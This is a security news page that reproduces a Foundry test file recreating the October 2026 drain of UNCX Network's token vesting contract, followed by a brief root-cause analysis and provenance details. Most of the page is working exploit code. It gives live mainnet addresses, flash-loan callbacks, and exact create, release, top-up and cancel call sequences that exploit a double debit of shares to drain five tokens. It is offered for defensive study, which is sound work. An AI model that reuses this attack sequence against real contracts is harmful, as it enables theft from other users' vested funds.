Skip to content
THREATWIRE

Public reproduction file

src/test/2026-10/UNCXSmartTokenVesting_exp.sol

Public reproduction listed for "UNCX Vesting V2: share records and token balance made to disagree". It targets live contracts, so ThreatWire does not republish it. This page keeps the provenance and links to our non-operational analysis instead.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-10/UNCXSmartTokenVesting_exp.sol377 lines
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.20;
3
4import "forge-std/Test.sol";
5
6// UNCX Network - Smart Token Vesting (VestingManager) shared-pool share-accounting drain.
7// Ethereum mainnet, 2026-10-14 (block 26191745, fork at parent 26191744). ~88-89K USD across
8// five ERC-20s (EDGEN, ZC, pepecoin, LO0P, $PAAL), ~85.6K retained after flash-loan repayment.
9//
10// Exploit tx : 0x352065378c4a41b77e5b6a1e5b5616cd2886c3e1a2c87ed3db8e5ddddc23823d
11// Attacker EOA : 0x78C9B11853E4f183a34C63fFd1924d2319a2f5B3
12// Exploit contract: 0xf6D072254Eb8A9B06e0bA21221b498332C1BC35E
13// Victim : 0xA98F06312b7614523d0f5e725e15fd20fB1b99F5 (VestingManager, verified on Etherscan,
14// solc 0.8.27, non-proxy; all logic below read from that source)
15//
16// Root cause (all three points confirmed against the verified source, not assumed):
17//
18// 1. release() pays a slice of the ENTIRE shared pool, not the position's own deposit.
19// uint256 balance = IERC20(schedule.token).balanceOf(address(this));
20// uint256 amount = (releasableShares * balance) / _totalTokenShares[schedule.token];
21// Every deposit of a given token is pooled in the one VestingManager contract and tracked
22// only by "shares". A position's payout scales with the full contract balance and with the
23// global share denominator _totalTokenShares, so shrinking that denominator inflates every
24// holder's payout fraction - including the attacker's own.
25//
26// 2. release() and cancel() double-debit _totalTokenShares.
27// release() does `_totalTokenShares[token] -= releasableShares; schedule.released += releasableShares;`
28// but never reduces the position's _depositedShares. cancel() then computes
29// vestedShare = vestedAmount * _depositedShares[vestingId] / schedule.totalAmount;
30// sharesToRemove = _depositedShares[vestingId] - vestedShare; // ignores schedule.released
31// _totalTokenShares[token] -= sharesToRemove;
32// Because _depositedShares still carries the shares already taken out by release(), cancel()
33// debits those same shares from the global total a second time. The denominator is driven
34// below the shares actually backed by the pool, so the surviving positions over-pay.
35//
36// 3. A vesting whose tranche times are already in the past is 100% releasable immediately.
37// _getReleasableShares() vests by calculator.calculateVestedAmount(tranches, block.timestamp).
38// Fork timestamp is 1791992999; the attacker's create tranches end at 1791992998 (one second
39// earlier), so each created vesting is fully vested the moment it exists and can be released
40// and cancelled inside the same transaction.
41//
42// Mechanism is fully permissionless. createVesting / createAirdropVesting / topUpVesting / cancel /
43// release carry no owner, role or signature gate - any address may create and manage its own
44// vestings. The attacker is a plain EOA operating its own positions through its own contract.
45// Per token the attacker: creates one "payout" vesting holding the real target amount, creates one
46// or two soft+topable helper vestings, releases the helpers (debiting _totalTokenShares while
47// leaving _depositedShares intact), optionally donates spare token straight into the pool to raise
48// the balance, tops the helpers up and cancels them (the second, double-counted debit of the same
49// shares), then releases the payout vesting against the now-corrupted denominator and the inflated
50// balance, over-withdrawing the other vesters' backing tokens.
51//
52// Working capital is flash-borrowed per token and repaid in the same leg, exactly as on-chain:
53// EDGEN - Uniswap V3 pool 0x4B2C930F...dD03e flash(), repaid principal + 1% fee
54// ZC - Uniswap V4 PoolManager 0x0000...4444c unlock()/take()/settle(), repaid exact principal
55// pepecoin - Uniswap V2 pair 0xddd2...6aff flash swap, repaid principal * 1000/997
56// LO0P - Uniswap V4 PoolManager unlock()/take()/settle(), repaid exact principal
57// $PAAL - Uniswap V2 pair 0x2a6c...259f flash swap, repaid principal * 1000/997
58// Profit is measured strictly as each token balance the exploit contract retains AFTER every flash
59// loan is repaid, so the loans net to zero and only the stolen backing tokens are counted. The
60// VestingManager is driven with real typed calls at mainnet state - no attacker bytecode or
61// calldata replay; create/topUp/cancel/release arguments are the attacker's own on-chain inputs.
62//
63// Retained per token (flash loans fully repaid), read from the tx transfer logs:
64// EDGEN 55,601,598.708417972560603048 (18 dec) 0xAa9806c9...AE02Ca
65// ZC 9,055,847.637887682268154756 (18 dec) 0x4E67DB19...298722
66// pepecoin 40,155.284285661160205717 (18 dec) 0xA9E8aCf0...a9489A
67// LO0P 65,372.217059159993437512 (18 dec) 0x00000000...c1De3F
68// $PAAL 113,657.766933968 ( 9 dec) 0x14feE680...D10e16
69//
70// The two Uniswap V4 legs settle through the PoolManager, which uses transient storage, so the run
71// needs the cancun EVM. It is passed on the command line; the repo foundry.toml (evm_version
72// 'shanghai') is left unchanged.
73//
74// Run (self-contained mainnet archive fork):
75// forge test --contracts ./src/test/2026-10/UNCXSmartTokenVesting_exp.sol --evm-version cancun -vvv
77interface IERC20 {
78 function approve(address, uint256) external returns (bool);
79 function transfer(address, uint256) external returns (bool);
80 function balanceOf(address) external view returns (uint256);
81 function decimals() external view returns (uint8);
84interface IVestingManager {
85 // IVestingCalculator.TimeAmount { uint256 time; uint256 amount; EquationType eqType; }
86 // EquationType is an enum; its zero value encodes as uint8 0, matching the attacker's tranches.
87 struct TimeAmount {
88 uint256 time;
89 uint256 amount;
90 uint8 eqType;
91 }
93 function createVesting(
94 address token,
95 TimeAmount[] calldata tranches,
96 address beneficiary,
97 bool isSoft,
98 bool isNftized,
99 bool isTransferable,
100 bool isTopable
101 ) external payable returns (uint256);
103 function createAirdropVesting(
104 address token,
105 TimeAmount[] calldata tranches,
106 address[] calldata beneficiaries,
107 bool isSoft,
108 bool isNftized,
109 bool isTransferable,
110 bool isTopable
111 ) external payable returns (uint256[] memory);
113 function topUpVesting(uint256 vestingId, TimeAmount[] calldata additionalTranches) external;
114 function cancel(uint256 vestingId) external;
115 function release(uint256 vestingId) external;
118interface IUniswapV3Pool {
119 function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;
122interface IUniswapV2Pair {
123 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
126interface IPoolManager {
127 function unlock(bytes calldata data) external returns (bytes memory);
128 function take(address currency, address to, uint256 amount) external;
129 function sync(address currency) external;
130 function settle() external payable returns (uint256);
133contract UNCXVestingExploit {
134 address internal constant VM = 0xA98F06312b7614523d0f5e725e15fd20fB1b99F5;
136 address internal constant EDGEN = 0xAa9806c938836627Ed1a41Ae871c7E1889AE02Ca;
137 address internal constant ZC = 0x4E67DB19044549fF420860834c91b45BaD298722;
138 address internal constant PEPE = 0xA9E8aCf069C58aEc8825542845Fd754e41a9489A; // "pepecoin"
139 address internal constant LOOP = 0x00000000000050806673B532D7486ac114c1De3F; // "LO0P"
140 address internal constant PAAL = 0x14feE680690900BA0ccCfC76AD70Fd1b95D10e16; // "$PAAL"
142 address internal constant UNIV3_EDGEN = 0x4B2C930F88a87D1BfFaC291b6a7e01c9F13dD03e;
143 address internal constant UNIV2_PEPE = 0xDDd23787a6B80A794d952f5fb036D0b31A8E6aff;
144 address internal constant UNIV2_PAAL = 0x2a6c340bCbb0a79D3deecD3bc5cBc2605ea9259f;
145 address internal constant UNIV4_PM = 0x000000000004444c5dc75cB358380D2e3dE08A90;
147 uint256 internal constant EDGEN_BORROW = 131_769_607_356_179_331_729_743_626;
148 uint256 internal constant PEPE_BORROW = 531_437_174_022_481_383_511_735;
149 uint256 internal constant PAAL_BORROW = 494_701_979_586_570;
150 uint256 internal constant ZC_TAKE = 47_059_196_744_096_272_543_282_784;
151 uint256 internal constant LOOP_TAKE = 280_857_955_066_472_266_672_982;
153 uint256 internal constant FLAT_FEE = 0.05 ether;
155 // Create tranche end-points: both one second on either side of the fork timestamp so the
156 // second (cumulative) point is already fully vested. Top-up points are pushed into the future.
157 uint256 internal constant T1 = 1_791_992_997;
158 uint256 internal constant T2 = 1_791_992_998;
159 uint256 internal constant TA = 1_792_079_399;
160 uint256 internal constant TB = 1_792_165_799;
162 function attack() external {
163 // EDGEN via Uniswap V3 flash
164 IUniswapV3Pool(UNIV3_EDGEN).flash(address(this), EDGEN_BORROW, 0, "");
165 // ZC via Uniswap V4 flash accounting
166 IPoolManager(UNIV4_PM).unlock(abi.encode(uint8(0)));
167 // pepecoin via Uniswap V2 flash swap (token0)
168 IUniswapV2Pair(UNIV2_PEPE).swap(PEPE_BORROW, 0, address(this), "pepe");
169 // LO0P via Uniswap V4 flash accounting
170 IPoolManager(UNIV4_PM).unlock(abi.encode(uint8(1)));
171 // $PAAL via Uniswap V2 flash swap (token0)
172 IUniswapV2Pair(UNIV2_PAAL).swap(PAAL_BORROW, 0, address(this), "paal");
173 }
175 // ----- flash-loan callbacks -----
177 function uniswapV3FlashCallback(uint256 fee0, uint256, bytes calldata) external {
178 require(msg.sender == UNIV3_EDGEN, "bad v3 pool");
179 _drainEdgen();
180 IERC20(EDGEN).transfer(UNIV3_EDGEN, EDGEN_BORROW + fee0);
181 }
183 function uniswapV2Call(address, uint256, uint256, bytes calldata data) external {
184 if (keccak256(data) == keccak256("pepe")) {
185 require(msg.sender == UNIV2_PEPE, "bad v2 pair");
186 _drainPepe();
187 IERC20(PEPE).transfer(UNIV2_PEPE, (PEPE_BORROW * 1000) / 997 + 1);
188 } else {
189 require(msg.sender == UNIV2_PAAL, "bad v2 pair");
190 _drainPaal();
191 IERC20(PAAL).transfer(UNIV2_PAAL, (PAAL_BORROW * 1000) / 997 + 1);
192 }
193 }
195 function unlockCallback(bytes calldata data) external returns (bytes memory) {
196 require(msg.sender == UNIV4_PM, "bad pool manager");
197 uint8 which = abi.decode(data, (uint8));
198 if (which == 0) {
199 IPoolManager(UNIV4_PM).take(ZC, address(this), ZC_TAKE);
200 _drainZc();
201 IPoolManager(UNIV4_PM).sync(ZC);
202 IERC20(ZC).transfer(UNIV4_PM, ZC_TAKE);
203 IPoolManager(UNIV4_PM).settle();
204 } else {
205 IPoolManager(UNIV4_PM).take(LOOP, address(this), LOOP_TAKE);
206 _drainLoop();
207 IPoolManager(UNIV4_PM).sync(LOOP);
208 IERC20(LOOP).transfer(UNIV4_PM, LOOP_TAKE);
209 IPoolManager(UNIV4_PM).settle();
210 }
211 return "";
212 }
214 // ----- per-token drains (exact on-chain call sequences) -----
216 function _drainEdgen() internal {
217 IERC20(EDGEN).approve(VM, type(uint256).max);
218 uint256 payout = IVestingManager(VM).createVesting{value: FLAT_FEE}(
219 EDGEN, _create(57_344_850_920_662_031_757_537), address(this), false, false, false, false
220 );
221 uint256 h1 = IVestingManager(VM).createVesting{value: FLAT_FEE}(
222 EDGEN, _create(131_319_708_608_316_052_724_761_594), address(this), true, false, false, true
223 );
224 IVestingManager(VM).release(h1);
225 uint256 h2 = IVestingManager(VM).createVesting{value: FLAT_FEE}(
226 EDGEN, _create(131_319_708_608_316_052_724_761_594), address(this), true, false, false, true
227 );
228 IVestingManager(VM).release(h2);
229 IERC20(EDGEN).transfer(VM, 49_725_755_695_478_956_273_916_705); // donation into the pool
230 IVestingManager(VM).topUpVesting(
231 h1, _topUp(131_319_708_608_316_052_724_761_594, 212_618_077_207_047_821_767_740_528)
232 );
233 IVestingManager(VM).cancel(h1);
234 IVestingManager(VM).topUpVesting(
235 h2, _topUp(131_319_708_608_316_052_724_761_594, 212_618_077_207_047_821_767_740_528)
236 );
237 IVestingManager(VM).cancel(h2);
238 IVestingManager(VM).release(payout);
239 }
241 function _drainZc() internal {
242 IERC20(ZC).approve(VM, type(uint256).max);
243 uint256 payout = IVestingManager(VM).createVesting{value: FLAT_FEE}(
244 ZC, _create(73_333_333_333_333_333_333_333), address(this), false, false, false, false
245 );
246 uint256 helper = IVestingManager(VM).createVesting{value: FLAT_FEE}(
247 ZC, _create(46_860_000_000_000_000_000_000_000), address(this), true, false, false, true
248 );
249 IVestingManager(VM).release(helper);
250 IERC20(ZC).transfer(VM, 18_013_033_004_096_272_539_846_540);
251 IVestingManager(VM).topUpVesting(
252 helper, _topUp(46_860_000_000_000_000_000_000_000, 75_710_213_333_333_333_000_000_000)
253 );
254 IVestingManager(VM).cancel(helper);
255 IVestingManager(VM).release(payout);
256 }
258 function _drainPepe() internal {
259 IERC20(PEPE).approve(VM, type(uint256).max);
260 address[] memory bens = new address[](2);
261 bens[0] = address(this);
262 bens[1] = address(this);
263 uint256[] memory ids = IVestingManager(VM).createAirdropVesting{value: FLAT_FEE}(
264 PEPE, _create(127_468_440_700_974_947_074_572), bens, true, false, false, true
265 );
266 uint256 payout = ids[0];
267 uint256 helper = ids[1];
268 IVestingManager(VM).release(helper);
269 IERC20(PEPE).transfer(VM, 212_447_401_168_291_578_457_620);
270 IVestingManager(VM).topUpVesting(
271 helper, _topUp(127_468_440_700_974_947_074_572, 318_543_633_311_736_392_739_356)
272 );
273 IVestingManager(VM).cancel(helper);
274 IVestingManager(VM).release(payout);
275 }
277 function _drainLoop() internal {
278 IERC20(LOOP).approve(VM, type(uint256).max);
279 uint256 payout = IVestingManager(VM).createVesting{value: FLAT_FEE}(
280 LOOP, _create(438_840_000_000_000_000_000), address(this), false, false, false, false
281 );
282 uint256 helper = IVestingManager(VM).createVesting{value: FLAT_FEE}(
283 LOOP, _create(280_418_760_000_000_000_000_000), address(this), true, false, false, true
284 );
285 IVestingManager(VM).release(helper);
286 IERC20(LOOP).transfer(VM, 107_040_430_125_632_266_672_982);
287 IVestingManager(VM).topUpVesting(
288 helper, _topUp(280_418_760_000_000_000_000_000, 453_063_682_080_000_000_000_000)
289 );
290 IVestingManager(VM).cancel(helper);
291 IVestingManager(VM).release(payout);
292 }
294 function _drainPaal() internal {
295 IERC20(PAAL).approve(VM, type(uint256).max);
296 uint256 payout = IVestingManager(VM).createVesting{value: FLAT_FEE}(
297 PAAL, _create(772_970_865_896), address(this), false, false, false, false
298 );
299 uint256 helper = IVestingManager(VM).createVesting{value: FLAT_FEE}(
300 PAAL, _create(493_928_383_308_136), address(this), true, false, false, true
301 );
302 IVestingManager(VM).release(helper);
303 IERC20(PAAL).transfer(VM, 188_540_547_717_140);
304 IVestingManager(VM).topUpVesting(helper, _topUp(493_928_383_308_136, 798_024_397_602_377));
305 IVestingManager(VM).cancel(helper);
306 IVestingManager(VM).release(payout);
307 }
309 // Two-point cumulative schedule, both points already elapsed at the fork timestamp.
310 function _create(uint256 amount) internal pure returns (IVestingManager.TimeAmount[] memory t) {
311 t = new IVestingManager.TimeAmount[](2);
312 t[0] = IVestingManager.TimeAmount(T1, 0, 0);
313 t[1] = IVestingManager.TimeAmount(T2, amount, 0);
314 }
316 // Future top-up points: first point >= current total, final cumulative > current total.
317 function _topUp(uint256 a, uint256 b) internal pure returns (IVestingManager.TimeAmount[] memory t) {
318 t = new IVestingManager.TimeAmount[](2);
319 t[0] = IVestingManager.TimeAmount(TA, a, 0);
320 t[1] = IVestingManager.TimeAmount(TB, b, 0);
321 }
323 receive() external payable {}
326contract UNCXSmartTokenVesting_exp is Test {
327 uint256 internal constant ATTACK_BLOCK = 26191745;
329 address internal constant VM = 0xA98F06312b7614523d0f5e725e15fd20fB1b99F5;
330 address internal constant EDGEN = 0xAa9806c938836627Ed1a41Ae871c7E1889AE02Ca;
331 address internal constant ZC = 0x4E67DB19044549fF420860834c91b45BaD298722;
332 address internal constant PEPE = 0xA9E8aCf069C58aEc8825542845Fd754e41a9489A;
333 address internal constant LOOP = 0x00000000000050806673B532D7486ac114c1De3F;
334 address internal constant PAAL = 0x14feE680690900BA0ccCfC76AD70Fd1b95D10e16;
336 // Retained per token after every flash loan is repaid (from the tx transfer logs).
337 uint256 internal constant EDGEN_PROFIT = 55_601_598_708_417_972_560_603_048;
338 uint256 internal constant ZC_PROFIT = 9_055_847_637_887_682_268_154_756;
339 uint256 internal constant PEPE_PROFIT = 40_155_284_285_661_160_205_717;
340 uint256 internal constant LOOP_PROFIT = 65_372_217_059_159_993_437_512;
341 uint256 internal constant PAAL_PROFIT = 113_657_766_933_968;
343 string internal constant MAINNET_ARCHIVE = "https://eth-mainnet.public.blastapi.io";
345 function setUp() public {
346 vm.createSelectFork(MAINNET_ARCHIVE, ATTACK_BLOCK - 1);
347 // Match the attack block timestamp so the already-elapsed create tranches (ending at
348 // 1791992998) read as fully vested, exactly as when the transaction executed.
349 vm.warp(1_791_992_999);
350 }
352 function testExploit() public {
353 UNCXVestingExploit atk = new UNCXVestingExploit();
354 vm.deal(address(atk), 1 ether); // covers the 0.05 ETH flat fee per created vesting
356 atk.attack();
358 uint256 edgen = IERC20(EDGEN).balanceOf(address(atk));
359 uint256 zc = IERC20(ZC).balanceOf(address(atk));
360 uint256 pepe = IERC20(PEPE).balanceOf(address(atk));
361 uint256 loop = IERC20(LOOP).balanceOf(address(atk));
362 uint256 paal = IERC20(PAAL).balanceOf(address(atk));
364 emit log_named_decimal_uint("EDGEN drained (net of flash repay)", edgen, 18);
365 emit log_named_decimal_uint("ZC drained (net of flash repay)", zc, 18);
366 emit log_named_decimal_uint("pepecoin drained (net of flash repay)", pepe, 18);
367 emit log_named_decimal_uint("LO0P drained (net of flash repay)", loop, 18);
368 emit log_named_decimal_uint("PAAL drained (net of flash repay)", paal, 9);
370 // Each figure is the token the exploit contract keeps after the flash loan nets to zero.
371 assertApproxEqAbs(edgen, EDGEN_PROFIT, 1e18, "EDGEN");
372 assertApproxEqAbs(zc, ZC_PROFIT, 1e18, "ZC");
373 assertApproxEqAbs(pepe, PEPE_PROFIT, 1e18, "pepecoin");
374 assertApproxEqAbs(loop, LOOP_PROFIT, 1e18, "LO0P");
375 assertApproxEqAbs(paal, PAAL_PROFIT, 1e9, "PAAL");
376 }

Analysis

What the file is

A Foundry test reconstructing the UNCX vesting drain on an Ethereum fork one block before the attack. It targets live contracts and is not republished.

How it is built

Interfaces cover the vesting manager's create, airdrop-create, top-up, cancel and release calls, a Uniswap v3 flash, a v2 flash swap and the v4 pool manager. The attacker contract has an entry function, three funding callbacks and one internal routine per drained token (five tokens), plus small helpers that build schedules.

What the test checks

It asserts the profit in each of the five tokens against a stored figure, within a tolerance. Our record carries a conflict about the total: $1.49M in one tally against about $808K of realised value stated by UNCX.

Why it matters for defenders

Per UNCX, release() removed shares from the global total while the position's own deposited-share record stayed, and cancel() reused that old record, leaving the total too low. The drains were funded with flash liquidity. Share accounting needs one invariant that every path (create, top-up, release, cancel) preserves.

Our analysis, loss and remediation are in the incident record.

Fixes and defensive tests

  • No pause existed; fee levers raised above 1,000 ETH per lock and token fees to the 5% maximum.

Contracts and transactions from the incident

Related files

11 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

File record

Name
UNCXSmartTokenVesting_exp.sol
Path
src/test/2026-10/UNCXSmartTokenVesting_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
03d1b16913d89a29585cd8a1842196852c570f17
Language
Solidity
Size
378 lines
Date
2026-10-14
Licence
file header MIT; repository Apache-2.0
Retrieved
2026-10-19
Incident
UNCX Vesting V2: share records and token balance made to disagree
Protocols
UNCX Network
Chains
Ethereum, BNB Chain, Base, Robinhood Chain

Provenance

Path src/test/2026-10/UNCXSmartTokenVesting_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 03d1b16913d89a29585cd8a1842196852c570f17, retrieved 2026-10-19. Verbatim file content read with git show at the pinned commit; SPDX header preserved; stored locally for the on-site reader. ThreatWire has never executed this file. Reference: source file at the pinned commit.